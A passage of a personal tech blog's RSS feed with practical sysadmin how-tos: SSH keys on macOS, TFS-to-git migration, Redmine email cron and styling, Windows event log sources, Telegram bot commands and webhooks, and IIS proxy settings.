<li>Redmine 4.2+ asks for a two-factor code from a lost phone: add <code>Redmine::Twofa.for_user(u)&amp;.destroy_pairing_without_verify!</code> before <code>u.save!</code>.</li>
<li>Without <code>RAILS_ENV=production</code>, Rails starts in development mode: it either fails to boot or opens the development database instead of yours.</li>
<li>Redmine emails all admins a security notice when someone gets admin rights. That&#39;s expected.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Copy SSH key to clipboard on Mac (and generate a new one)</title>
      <link>https://koz.tv/posts/how-to-generate-and-copy-ssh-key-in-mac-os/</link>
      <guid isPermaLink="true">https://koz.tv/posts/how-to-generate-and-copy-ssh-key-in-mac-os/</guid>
      <pubDate>Sun, 09 Jul 2017 00:00:00 GMT</pubDate>
      <description>Copy your public SSH key on a Mac with one pbcopy command. Plus: a new Ed25519 key, passphrase in Keychain, ssh-copy-id, GitHub, common errors.</description>
      <content:encoded><![CDATA[<p>To copy your public SSH key to the clipboard on a Mac, run this in Terminal:</p>
<pre><code class="language-bash">pbcopy &lt; ~/.ssh/id_ed25519.pub
</code></pre>
<p>The command prints nothing. Paste the key with Cmd+V into GitHub, GitLab or a server panel.</p>
<p>Keys made with the 2017 version of this post, or with a bare <code>ssh-keygen</code> before OpenSSH 9.5 (2023), are RSA:</p>
<pre><code class="language-bash">pbcopy &lt; ~/.ssh/id_rsa.pub
</code></pre>
<p>If zsh answers <code>no such file or directory</code>, you don&#39;t have that key yet. Generate one (below).</p>
<p>Checked with OpenSSH 10 (macOS 26.1 ships 10.0p2) and an Ubuntu 26.04 server.</p>
<h2>Copy the public key, not the private one</h2>
<pre><code class="language-bash">ls ~/.ssh
</code></pre>
<p>Each key is two files. <code>id_ed25519</code> is the private key: it never leaves your Mac. <code>id_ed25519.pub</code> is the public key, safe to share. It&#39;s one line:</p>
<pre><code class="language-text">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com
</code></pre>
<p>If your clipboard starts with <code>-----BEGIN OPENSSH PRIVATE KEY-----</code> or, for an old RSA key, <code>-----BEGIN RSA PRIVATE KEY-----</code>, you copied the private key. Don&#39;t paste it anywhere.</p>
<p>Without <code>pbcopy</code>: run <code>cat ~/.ssh/id_ed25519.pub</code>, select the line from <code>ssh-</code> to the end and press Cmd+C.</p>
<h2>Generate a new SSH key on Mac</h2>
<pre><code class="language-bash">ssh-keygen -t ed25519 -C &quot;you@example.com&quot;
</code></pre>
<p>Press Enter to save to the default <code>~/.ssh/id_ed25519</code>, then type a passphrase twice (more below). ssh-keygen creates <code>~/.ssh</code> if needed, with mode 700 for the folder and 600 for the private key. Then copy the key with <code>pbcopy</code>.</p>
<p><code>-C</code> adds a comment to the end of the key, so you can tell keys apart in a server&#39;s <code>authorized_keys</code> and in <code>ssh-add -l</code>. Without it the comment is <code>user@hostname</code>.</p>
<p>Since OpenSSH 9.5 a bare <code>ssh-keygen</code> makes Ed25519 too. I keep <code>-t ed25519</code> so older systems give the same key.</p>
<p>If it says <code>id_ed25519 already exists</code> and asks <code>Overwrite (y/n)?</code>, answer <code>n</code>. Overwriting deletes the old key, and every server that trusted it stops letting you in.</p>
<h2>Passphrase and macOS Keychain</h2>
<p>The passphrase encrypts the private key, so a copied file is useless without it. To stop typing it on every connection, store it in Keychain:</p>
<pre><code class="language-bash">ssh-add --apple-use-keychain ~/.ssh/id_ed25519
</code></pre>
<p>And add to <code>~/.ssh/config</code> (create it if missing):</p>
<pre><code class="language-text">Host *
  AddKeysToAgent yes
  UseKeychain yes
</code></pre>
<p><code>UseKeychain</code> makes ssh read the passphrase from Keychain and save it there once you type it correctly. <code>AddKeysToAgent</code> loads the key into ssh-agent on first use, so after a reboot you don&#39;t run <code>ssh-add</code> again.</p>
<p>Older guides use <code>ssh-add -K</code>. On macOS 26.1 it still works with a warning, and the man page says future releases will drop it.</p>
<p>To check the passphrase, run <code>ssh-keygen -y -f ~/.ssh/id_ed25519</code>. The right one prints the public key, a wrong one gives <code>incorrect passphrase supplied to decrypt private key</code>. The same command restores a deleted <code>.pub</code>:</p>
<pre><code class="language-bash">ssh-keygen -y -f ~/.ssh/id_ed25519 &gt; ~/.ssh/id_ed25519.pub
</code></pre>
<p><code>ssh-keygen -p -f ~/.ssh/id_ed25519</code> adds or changes the passphrase.</p>
<p>If you share <code>~/.ssh/config</code> with Linux machines, ssh there stops with <code>Bad configuration option: usekeychain</code>. Make this the first line of the file:</p>
<pre><code class="language-text">IgnoreUnknown UseKeychain
</code></pre>
<h2>RSA key for old servers</h2>
<p>Ed25519 arrived in OpenSSH 6.5 in January 2014. If an older server rejects your key, make an RSA one:</p>
<pre><code class="language-bash">ssh-keygen -t rsa -b 4096 -C &quot;you@example.com&quot;
</code></pre>
<p>It goes to <code>~/.ssh/id_rsa</code>. Without <code>-b</code> you get 3072 bits. An RSA key you already have still works with current servers.</p>
<p>With an old server the key alone isn&#39;t enough. Servers older than OpenSSH 7.2 (2016) accept an RSA key only with a SHA-1 signature (<code>ssh-rsa</code>), and since OpenSSH 8.8 (2021) ssh doesn&#39;t sign that way by default. ssh then skips the key and asks for a password or answers <code>Permission denied (publickey)</code>. The cause shows only in <code>ssh -v</code>: <code>no mutual signature algorithm</code>. Allow SHA-1 for that one server in <code>~/.ssh/config</code>, with the address you type after <code>@</code> in place of the example:</p>
<pre><code class="language-text">Host oldserver.example.com
  PubkeyAcceptedAlgorithms +ssh-rsa
  HostKeyAlgorithms +ssh-rsa
</code></pre>
<p><code>HostKeyAlgorithms</code> matters if the server has only an RSA host key: without it ssh stops before login with <code>no matching host key type found. Their offer: ssh-rsa</code>. ssh-copy-id reads these lines too. Don&#39;t put them under <code>Host *</code>: OpenSSH turned SHA-1 off because collision attacks on it became practical.</p>
<h2>Copy SSH key to a server with ssh-copy-id</h2>
<p>macOS has <code>ssh-copy-id</code> built in:</p>
<pre><code class="language-bash">ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server
</code></pre>
<p>It logs in once, usually with your password, and appends the key to <code>~/.ssh/authorized_keys</code>, creating the folder and file with modes 700 and 600. On success it prints <code>Number of key(s) added: 1</code>.</p>
<p>Keep <code>-i</code>. Without it ssh-copy-id takes keys from ssh-agent or the newest <code>~/.ssh/id*.pub</code>, which may be the wrong key.</p>
<p>ssh-copy-id needs a way in: a password or another key the server already accepts. If you have neither, <a href="https://koz.tv/posts/allow-ssh-password-authentication/">enable passwords</a> for a while or add the key from the server side (below).</p>
<h2>Add the key to authorized_keys by hand</h2>
<p>The same without ssh-copy-id, one line from the Mac:</p>
<pre><code class="language-bash">cat ~/.ssh/id_ed25519.pub | ssh user@server &#39;mkdir -p ~/.ssh &amp;&amp; chmod 700 ~/.ssh &amp;&amp; { echo; cat; } &gt;&gt; ~/.ssh/authorized_keys &amp;&amp; chmod 600 ~/.ssh/authorized_keys&#39;
</code></pre>
<p>If SSH doesn&#39;t let you in at all, open a shell on the server another way (your host&#39;s web console, say). Log in as the user you&#39;ll connect as and add the key, with yours in place of the example:</p>
<pre><code class="language-bash">mkdir -p ~/.ssh
echo &gt;&gt; ~/.ssh/authorized_keys
echo &#39;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... you@example.com&#39; &gt;&gt; ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
</code></pre>
<p>Use <code>&gt;&gt;</code>: a single <code>&gt;</code> overwrites the file and deletes other keys. The empty <code>echo</code> adds a line break: if the file&#39;s last line has none, the new key sticks to it and doesn&#39;t work. sshd skips empty lines.</p>
<p>Adding a key for another user with sudo is covered in <a href="https://koz.tv/posts/create-admin-user-in-ubuntu-linux/">how to create an admin user</a>.</p>
<h2>Add SSH key to GitHub</h2>
<ol>
<li><code>pbcopy &lt; ~/.ssh/id_ed25519.pub</code></li>
<li>On GitHub: profile picture → Settings → SSH and GPG keys → New SSH key.</li>
<li>Title: your Mac&#39;s name. Key type: authentication. Paste into Key, click Add SSH key.</li>
</ol>
<p>Or with GitHub CLI:</p>
<pre><code class="language-bash">gh ssh-key add ~/.ssh/id_ed25519.pub --title &quot;MacBook Air&quot;
</code></pre>
<p>If gh replies that it needs the <code>admin:public_key</code> scope, run <code>gh auth refresh -h github.com -s admin:public_key</code> and repeat the command.</p>
<p>Check the connection:</p>
<pre><code class="language-bash">ssh -T git@github.com
</code></pre>
<p>The first time, ssh shows GitHub&#39;s fingerprint. If it&#39;s <code>SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU</code>, type <code>yes</code>. <code>Hi username! You&#39;ve successfully authenticated</code> means it works. <code>Permission denied (publickey)</code> means GitHub doesn&#39;t know this key.</p>
<p>If <code>git push</code> still asks for a username or token, the remote uses HTTPS. Switch it:</p>
<pre><code class="language-bash">git remote set-url origin git@github.com:user/repo.git
</code></pre>
<p>Creating a repo and the first push are covered in <a href="https://koz.tv/posts/git-configuration-and-first-push/">Git configuration and first push</a>.</p>
<h2>Common errors</h2>
<ul>
<li><code>zsh: no such file or directory: /Users/you/.ssh/id_ed25519.pub</code>: no key with that name. <code>ls ~/.ssh</code> shows what you have. If there&#39;s <code>id_rsa.pub</code>, copy that, if nothing, generate a key.</li>
<li><code>Permissions 0644 for &#39;/Users/you/.ssh/id_ed25519&#39; are too open</code> and <code>This private key will be ignored</code>: other users can read the private key, so ssh refuses it. Run <code>chmod 700 ~/.ssh</code> and <code>chmod 600 ~/.ssh/id_ed25519</code>.</li>
<li><code>Permission denied (publickey)</code> from a server: the key isn&#39;t in that user&#39;s <code>authorized_keys</code>, or sshd ignores the file. If <code>~/.ssh</code> or <code>authorized_keys</code> is writable by everyone (777, 666), sshd logs <code>Authentication refused: bad ownership or modes</code>. <code>ssh -v user@server</code> shows which keys your Mac offers.</li>
<li>Passphrase asked every time: set up Keychain as above.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Compare Azure virtual machine pricing across different regions</title>
      <link>https://koz.tv/posts/compare-azure-virtual-machine-pricing-across-different-regions/</link>
      <guid isPermaLink="true">https://koz.tv/posts/compare-azure-virtual-machine-pricing-across-different-regions/</guid>
      <pubDate>Tue, 20 Jun 2017 00:00:00 GMT</pubDate>
      <description>Sometimes it doesn’t matter where to place virtual machine, so you just need to find the best price. I prefer to use Microsoft Azure for my projects, so I can…</description>
      <content:encoded><![CDATA[<p>Sometimes it doesn’t matter where to place virtual machine, so you just need to find the best price. I prefer to use Microsoft Azure for my projects, so I can place VM in various number of places. Price for the same VM differ across regions and it’s usually a headache to find out what region is the best in performance/price comparison. I have found resource that solved this problem:</p>
<p><a href="http://azureprice.net/" title="Azure VM price comparison" target="_blank" rel="noopener">http://azureprice.net/</a></p>
<p>There you can easily find out what is the best region for selected type of VM.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Migrate from tfs to git</title>
      <link>https://koz.tv/posts/migrate-from-tfs-to-git/</link>
      <guid isPermaLink="true">https://koz.tv/posts/migrate-from-tfs-to-git/</guid>
      <pubDate>Wed, 17 May 2017 00:00:00 GMT</pubDate>
      <description>First of all download git-tfs from there. Right click on My Computer -&gt; Properties -&gt; Advanced system settings -&gt; Environment variables -&gt; System variables -&gt;…</description>
      <content:encoded><![CDATA[<p>First of all download git-tfs from there:</p>
<p><a href="http://git-tfs.com" target="_blank" rel="noopener">http://git-tfs.com</a></p>
<p>Right click on My Computer -&gt; Properties -&gt; Advanced system settings -&gt; Environment variables -&gt; System variables -&gt; Path</p>
<p>Add <strong>;C:\TfsMigration\GitTfs-0.25.1</strong> to the end of Path variable.</p>
<p>Open Command Prompt as Administrator and exec following commands, don’t forget to change commands with your variables:</p>
<pre><code class="language-bash">git tfs clone http://myserver:8080/tfs/DefaultCollection $/PIK.BOP/Trunk . --branches=all
</code></pre>
<pre><code class="language-bash">git remote add origin http://user@myserver/apps/autobop-backend.git
</code></pre>
<p>I use <strong>-c http.sslVerify=false</strong> because I have problems with my server certificate.</p>
<pre><code class="language-bash">git -c http.sslVerify=false push --all origin
</code></pre>
<p>If your server configured properly, I recommend you to use previous command without <strong>-c http.sslVerify=false</strong>:</p>
<pre><code class="language-bash">git push --all origin
</code></pre>
<p>Full description about migrating from tfs to git you can found here:</p>
<p><a href="https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md" target="_blank" rel="noopener">https://github.com/git-tfs/git-tfs/blob/master/doc/usecases/migrate_tfs_to_git.md</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Highlight overdue issues in redmine</title>
      <link>https://koz.tv/posts/highlight-overdue-issues-in-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/posts/highlight-overdue-issues-in-redmine/</guid>
      <pubDate>Sun, 14 May 2017 00:00:00 GMT</pubDate>
      <description>To higlight overdue issues in redmine, add following styles to your application.css file. Original article: http://www.redmine.org/issues/20812</description>
      <content:encoded><![CDATA[<p>To higlight overdue issues in redmine, add following styles to your application.css file:</p>
<pre><code class="language-css">tr.issue.overdue td.id a, tr.issue.overdue td.subject a, .issue.overdue td.due-date { color: #f00; }
tr.private td.subject a:before {
  content: &#39;&#39;;
  display: inline-block;
  margin: 0 3px 0 -5px;
  height: 11px;
  vertical-align: middle;
  border-left: 2px solid #d22;
  border-right: 1px solid #d22;
}
</code></pre>
<p>Original article: <a href="http://www.redmine.org/issues/20812" target="_blank" rel="noopener">http://www.redmine.org/issues/20812</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cron task for handling email in redmine</title>
      <link>https://koz.tv/posts/cron-task-for-handling-email-in-redmine/</link>
      <guid isPermaLink="true">https://koz.tv/posts/cron-task-for-handling-email-in-redmine/</guid>
      <pubDate>Sun, 16 Apr 2017 00:00:00 GMT</pubDate>
      <description>Go to redmine folder and copy use_redmine file. Edit new document. Replace text with following (put your variables). To run Cron config, exec command.</description>
      <content:encoded><![CDATA[<p>Go to redmine folder and copy <strong>use_redmine</strong> file:</p>
<pre><code class="language-bash">cp use_redmine proceed_mail
</code></pre>
<p>Edit new document:</p>
<pre><code class="language-bash">nano ./proceed_mail
</code></pre>
<p>Replace text with following (put your variables):</p>
<pre><code class="language-bash">#!/bin/bash

. /opt/redmine-3.3.2-2/scripts/setenv.sh

rake -f /opt/redmine-3.3.2-2/apps/redmine/htdocs/Rakefile redmine:email:receive_imap \
  RAILS_ENV=&quot;production&quot; host=mail_server username=redmine@example.com password=your_password \
  move_on_success=read move_on_failure=failed
</code></pre>
<p>To run Cron config, exec command:</p>
<pre><code class="language-bash">crontab -e
</code></pre>
<p>Add following line to the end of the file (put your variables):</p>
<pre><code class="language-bash">*/5 * * * * /opt/redmine-3.3.2-2/proceed_mail
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Add an event log source in Windows with PowerShell</title>
      <link>https://koz.tv/posts/add-event-log-source-in-windows/</link>
      <guid isPermaLink="true">https://koz.tv/posts/add-event-log-source-in-windows/</guid>
      <pubDate>Tue, 28 Mar 2017 00:00:01 GMT</pubDate>
      <description>Register an event log source with New-EventLog, check it, write and read events, remove it. And what to use in PowerShell 7, which has no New-EventLog.</description>
      <content:encoded><![CDATA[<p>Open Windows PowerShell as administrator and register the source in the Application log:</p>
<pre><code class="language-powershell">New-EventLog -LogName Application -Source &quot;TestApi&quot;
</code></pre>
<p>Now an app or a script can write events with the source <code>TestApi</code>. Run the window as administrator: to check that the name is unique, New-EventLog searches every log, including Security, which a regular user can&#39;t read.</p>
<p>In PowerShell 7 this command doesn&#39;t exist, and you get <code>The term &#39;New-EventLog&#39; is not recognized</code>. What to do there is below.</p>
<h2>Check that the source exists</h2>
<pre><code class="language-powershell"># True or False; also needs an elevated window
[System.Diagnostics.EventLog]::SourceExists(&quot;TestApi&quot;)

# Works without admin rights: a source is a registry key
Test-Path &quot;HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\TestApi&quot;
</code></pre>
<p>A second <code>New-EventLog</code> with the same name fails with an error that the source is already registered. To make a script safe to rerun:</p>
<pre><code class="language-powershell">if (-not [System.Diagnostics.EventLog]::SourceExists(&quot;TestApi&quot;)) {
    New-EventLog -LogName Application -Source &quot;TestApi&quot;
}
</code></pre>
<h2>Write and read events</h2>
<pre><code class="language-powershell">Write-EventLog -LogName Application -Source &quot;TestApi&quot; `
    -EventId 1000 -EntryType Information -Message &quot;TestApi started&quot;

# The last five events from this source, in Windows PowerShell and PowerShell 7
Get-WinEvent -MaxEvents 5 -FilterHashtable @{
    LogName = &#39;Application&#39;; ProviderName = &#39;TestApi&#39;
}
</code></pre>
<p><code>-EntryType</code> takes <code>Error</code>, <code>Warning</code>, <code>Information</code>, <code>SuccessAudit</code> or <code>FailureAudit</code>. <code>-EventId</code> goes up to 65535.</p>
<h2>PowerShell 7 has no New-EventLog</h2>
<p>Microsoft removed all the <code>*-EventLog</code> cmdlets from PowerShell 7. Use the .NET class directly or call Windows PowerShell 5.1, which ships with Windows:</p>
<pre><code class="language-powershell"># .NET API, in an elevated PowerShell 7 window on Windows
[System.Diagnostics.EventLog]::CreateEventSource(&quot;TestApi&quot;, &quot;Application&quot;)
[System.Diagnostics.EventLog]::WriteEntry(
    &quot;TestApi&quot;, &quot;TestApi started&quot;, &quot;Information&quot;, 1000)

# Or run the old command in Windows PowerShell
powershell.exe -NoProfile -Command `
    &quot;New-EventLog -LogName Application -Source TestApi&quot;
</code></pre>
<p>Microsoft points to <code>New-WinEvent</code> as the replacement, but it writes events for ETW providers with a manifest, not for a classic source like <code>TestApi</code>.</p>
<h2>Without PowerShell: eventcreate</h2>
<p>The <code>eventcreate</code> command in cmd writes an event and registers the source if it doesn&#39;t exist yet. It writes only with sources it registered itself: with <code>TestApi</code> from <code>New-EventLog</code> above it fails with <code>ERROR: Source parameter is used to identify custom applications/scripts only (not installed applications).</code> Give it its own name:</p>
<pre><code class="language-bat">eventcreate /L APPLICATION /SO TestApiCmd /T INFORMATION /ID 1 ^
    /D &quot;TestApiCmd registered&quot;
</code></pre>
<p>It writes only to the Application and System logs, and the event ID must be from 1 to 1000.</p>
<h2>Remove a source</h2>
<pre><code class="language-powershell"># Windows PowerShell 5.1
Remove-EventLog -Source &quot;TestApi&quot;

# PowerShell 7
[System.Diagnostics.EventLog]::DeleteEventSource(&quot;TestApi&quot;)
</code></pre>
<h2>Rules for source names</h2>
<ul>
<li>The name is unique on the computer and can&#39;t match the name of a log.</li>
<li>A source writes to one log. If you move it to another log, the change takes effect after a reboot.</li>
<li>Register the source when installing the app, not right before the first write. Until Windows refreshes its list of sources, writes with a new source fail.</li>
<li>If <code>-LogName</code> names a log that doesn&#39;t exist, <code>New-EventLog</code> creates it. The log appears after the first event is written, and the first eight characters of its name must differ from those of every other log.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Telegram bot commands: BotFather, setMyCommands and webhook</title>
      <link>https://koz.tv/posts/useful-telegram-bot-commands/</link>
      <guid isPermaLink="true">https://koz.tv/posts/useful-telegram-bot-commands/</guid>
      <pubDate>Tue, 28 Mar 2017 00:00:00 GMT</pubDate>
      <description>Set a Telegram bot's command menu in BotFather or with setMyCommands: rules for command names, BotFather commands, Bot API URLs for the token and webhook.</description>
      <content:encoded><![CDATA[<p>The commands users see after typing <code>/</code> in a chat with the bot are set in <a href="https://t.me/BotFather" target="_blank" rel="noopener">@BotFather</a>. Send it <code>/setcommands</code>, pick the bot and send the list, one command per line, without the slash:</p>
<pre><code class="language-text">start - Start the bot
help - What the bot can do
settings - Settings
</code></pre>
<p>Rules from the Bot API:</p>
<ul>
<li>a command is 1–32 characters: lowercase English letters, digits and underscores;</li>
<li>a description is 1–256 characters;</li>
<li>a list holds up to 100 commands.</li>
</ul>
<p>Telegram asks every bot to support <code>/start</code>, <code>/help</code> and, if the bot has settings, <code>/settings</code>. The first time a user opens a chat with the bot, they see a Start button.</p>
<p>The menu is only a hint. A message can contain any command, including ones you didn&#39;t list, and the bot isn&#39;t told which list the user saw. Check commands and permissions on your server. In a group with several bots, add the bot&#39;s username to the command, <code>/help@my_bot</code>, so it reaches the right one.</p>
<h2>Set commands with the API: setMyCommands</h2>
<pre><code class="language-bash">TOKEN=&quot;123456789:AA...&quot;

curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Start the bot&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;What the bot can do&quot;}
      ]}&#39;
</code></pre>
<p>The response is <code>{&quot;ok&quot;:true,&quot;result&quot;:true}</code>. <code>getMyCommands</code> returns the current list, <code>deleteMyCommands</code> deletes it.</p>
<p><code>language_code</code> and <code>scope</code> give different users different lists:</p>
<pre><code class="language-bash"># The menu for users whose Telegram is in Russian
curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;language_code&quot;: &quot;ru&quot;, &quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Запустить бота&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;Что умеет бот&quot;}
      ]}&#39;

# The menu for administrators of every group: repeat start and help
curl -s &quot;https://api.telegram.org/bot$TOKEN/setMyCommands&quot; \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&quot;scope&quot;: {&quot;type&quot;: &quot;all_chat_administrators&quot;}, &quot;commands&quot;: [
        {&quot;command&quot;: &quot;start&quot;, &quot;description&quot;: &quot;Start the bot&quot;},
        {&quot;command&quot;: &quot;help&quot;, &quot;description&quot;: &quot;What the bot can do&quot;},
        {&quot;command&quot;: &quot;ban&quot;, &quot;description&quot;: &quot;Ban a user&quot;}
      ]}&#39;
</code></pre>
<p>Scope types: <code>default</code>, <code>all_private_chats</code>, <code>all_group_chats</code>, <code>all_chat_administrators</code>, <code>chat</code>, <code>chat_administrators</code>, <code>chat_member</code>. Each user sees one list, not a merge: a list for a scope or a language replaces the whole menu. Telegram picks the list for the narrowest scope that has one, first in the user&#39;s language, then without a language, and falls back to <code>default</code>. Pass the same <code>scope</code> and <code>language_code</code> to <code>getMyCommands</code> and <code>deleteMyCommands</code>.</p>
<h2>BotFather commands</h2>
<table>
<thead>
<tr>
<th>Command</th>
<th>What it does</th>
</tr>
</thead>
<tbody><tr>
<td><code>/newbot</code></td>
<td>create a bot and get its token</td>
</tr>
<tr>
<td><code>/mybots</code></td>
<td>your bots, with buttons to edit each one</td>
</tr>
<tr>
<td><code>/setname</code></td>
<td>change the bot&#39;s name</td>
</tr>
<tr>
<td><code>/setdescription</code></td>
<td>the &quot;What can this bot do?&quot; text, up to 512 characters</td>
</tr>
<tr>
<td><code>/setabouttext</code></td>
<td>the text on the bot&#39;s profile, up to 120 characters</td>
</tr>
<tr>
<td><code>/setuserpic</code></td>
<td>the profile picture</td>
</tr>
<tr>
<td><code>/setcommands</code></td>
<td>the command menu</td>
</tr>
<tr>
<td><code>/setjoingroups</code></td>
<td>allow or forbid adding the bot to groups</td>
</tr>
<tr>
<td><code>/setprivacy</code></td>
<td>privacy mode: which group messages the bot receives</td>
</tr>
<tr>
<td><code>/setinline</code></td>
<td>inline mode</td>
</tr>
<tr>
<td><code>/token</code></td>
<td>a new token, if the old one leaked</td>
</tr>
<tr>
<td><code>/deletebot</code></td>
<td>delete the bot; there&#39;s no undo</td>
</tr>
</tbody></table>
<p>BotFather adds commands over time. Type <code>/</code> in the chat with it to see the current list.</p>
<h2>Bot API URLs: token and webhook</h2>
<p>Every method lives at <code>https://api.telegram.org/bot&lt;token&gt;/METHOD</code>, over GET or POST:</p>
<pre><code class="language-bash"># Check the token: returns the bot&#39;s id, name and username
curl -s &quot;https://api.telegram.org/bot$TOKEN/getMe&quot;

# Set a webhook: Telegram sends updates to this HTTPS URL
curl -s &quot;https://api.telegram.org/bot$TOKEN/setWebhook&quot; \
  -d url=https://example.com/telegram/webhook \
  -d secret_token=my-secret-123

# Webhook status: url, pending_update_count, last_error_message
curl -s &quot;https://api.telegram.org/bot$TOKEN/getWebhookInfo&quot;

# Remove the webhook and drop the queued updates
curl -s &quot;https://api.telegram.org/bot$TOKEN/deleteWebhook&quot; \
  -d drop_pending_updates=true
</code></pre>
<ul>
<li>A webhook works on ports 443, 80, 88 and 8443, always over HTTPS, port 80 included.</li>
<li>With <code>secret_token</code>, every request from Telegram carries the header <code>X-Telegram-Bot-Api-Secret-Token</code> with that value. Compare it to drop requests that didn&#39;t come from Telegram.</li>
<li>If your server answers with anything other than 2XX, Telegram retries the update and gives up after several attempts.</li>
<li><code>getUpdates</code> doesn&#39;t work while a webhook is set: <code>Conflict: can&#39;t use getUpdates method while webhook is active; use deleteWebhook to delete the webhook first</code>. To switch to polling, call <code>deleteWebhook</code>.</li>
</ul>
<p>The token in the URL ends up in shell history and server logs. If it leaks, get a new one with <code>/token</code> in BotFather.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Proxy settings for IIS applications in web.config</title>
      <link>https://koz.tv/posts/add-proxy-settings-to-iis-applications-with-web-config/</link>
      <guid isPermaLink="true">https://koz.tv/posts/add-proxy-settings-to-iis-applications-with-web-config/</guid>
      <pubDate>Mon, 27 Mar 2017 00:00:00 GMT</pubDate>
      <description>Send an IIS app's outgoing requests through a proxy with defaultProxy in web.config: bypass list, credentials, how to check it, and ASP.NET Core.</description>
      <content:encoded><![CDATA[<p>For an ASP.NET app on .NET Framework, add a <code>system.net</code> section inside <code>&lt;configuration&gt;</code> in web.config:</p>
<pre><code class="language-xml">&lt;configuration&gt;
  &lt;system.net&gt;
    &lt;defaultProxy&gt;
      &lt;proxy proxyaddress=&quot;http://192.168.0.1:8080&quot; bypassonlocal=&quot;true&quot; /&gt;
    &lt;/defaultProxy&gt;
  &lt;/system.net&gt;
&lt;/configuration&gt;
</code></pre>
<p>Outgoing requests from the app (<code>HttpWebRequest</code>, <code>WebClient</code>, and <code>HttpClient</code> on .NET Framework) now go through 192.168.0.1:8080. ASP.NET restarts the app when web.config changes, so nothing else is needed.</p>
<p>An ASP.NET Core app ignores this section, see the last part.</p>
<h2>Attributes</h2>
<ul>
<li><code>proxyaddress</code>: the proxy as a full URI with the scheme, <code>http://host:port</code>.</li>
<li><code>bypassonlocal=&quot;true&quot;</code>: requests to localhost, 127.0.0.1 and host names without a dot (<code>http://webserver</code>) skip the proxy.</li>
<li><code>usesystemdefault=&quot;true&quot;</code>: take the system proxy settings from Internet Options; attributes you set override them. Those settings belong to a Windows user, and an app pool account usually has none, so on IIS set <code>proxyaddress</code> explicitly.</li>
<li><code>useDefaultCredentials=&quot;true&quot;</code> on <code>defaultProxy</code>: if the proxy asks for Windows authentication, the app signs in as the app pool account. For <code>ApplicationPoolIdentity</code> that&#39;s the computer account on the network.</li>
<li><code>enabled=&quot;false&quot;</code> on <code>defaultProxy</code>: no proxy for this app.</li>
<li><code>&lt;bypasslist&gt;</code>: regular expressions for addresses that skip the proxy.</li>
</ul>
<p>All of it together:</p>
<pre><code class="language-xml">&lt;configuration&gt;
  &lt;system.net&gt;
    &lt;defaultProxy enabled=&quot;true&quot; useDefaultCredentials=&quot;true&quot;&gt;
      &lt;proxy proxyaddress=&quot;http://proxy.corp.local:8080&quot;
             bypassonlocal=&quot;true&quot;
             usesystemdefault=&quot;false&quot; /&gt;
      &lt;bypasslist&gt;
        &lt;!-- A regular expression: every host in corp.local, on any port --&gt;
        &lt;add address=&quot;[a-z0-9-]+\.corp\.local(:\d+)?$&quot; /&gt;
      &lt;/bypasslist&gt;
    &lt;/defaultProxy&gt;
  &lt;/system.net&gt;
&lt;/configuration&gt;
</code></pre>
<p>The same section in <code>%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config</code> applies to every 64-bit .NET Framework 4.x app on the server. 32-bit app pools read <code>Framework</code> instead of <code>Framework64</code>.</p>
<h2>Check that requests go through the proxy</h2>
<p>From the server, check that the proxy lets you out. <code>curl.exe</code> ships with Windows 10 1803, Windows Server 2019 and later:</p>
<pre><code class="language-bat">curl.exe -I -x http://192.168.0.1:8080 https://example.com
</code></pre>
<p>Inside the app, ask .NET which proxy it will use for an address:</p>
<pre><code class="language-csharp">var target = new Uri(&quot;https://example.com/&quot;);
var proxy = WebRequest.DefaultWebProxy.GetProxy(target);
// proxy == target means the request goes directly, without the proxy
</code></pre>
<h2>ASP.NET Core under IIS</h2>
<p>.NET Core and .NET 5+ don&#39;t read <code>system.net</code> from web.config. <code>HttpClient</code> takes the proxy from the environment variables <code>HTTP_PROXY</code>, <code>HTTPS_PROXY</code>, <code>ALL_PROXY</code> and <code>NO_PROXY</code>, and on Windows, if they aren&#39;t set, from the user&#39;s proxy settings. Set the variables in the <code>aspNetCore</code> section of the same web.config:</p>
<pre><code class="language-xml">&lt;aspNetCore processPath=&quot;dotnet&quot; arguments=&quot;.\MyApp.dll&quot;
            hostingModel=&quot;inprocess&quot;&gt;
  &lt;environmentVariables&gt;
    &lt;environmentVariable name=&quot;HTTP_PROXY&quot; value=&quot;http://192.168.0.1:8080&quot; /&gt;
    &lt;environmentVariable name=&quot;HTTPS_PROXY&quot; value=&quot;http://192.168.0.1:8080&quot; /&gt;
    &lt;environmentVariable name=&quot;NO_PROXY&quot; value=&quot;localhost,.corp.local&quot; /&gt;
  &lt;/environmentVariables&gt;
&lt;/aspNetCore&gt;
</code></pre>
<p><code>NO_PROXY</code> is a comma-separated list without asterisks. <code>.corp.local</code> with a leading dot matches <code>corp.local</code> and all its subdomains, <code>corp.local</code> without the dot matches only that host.</p>
<p>Or set the proxy in code at startup, before the first request:</p>
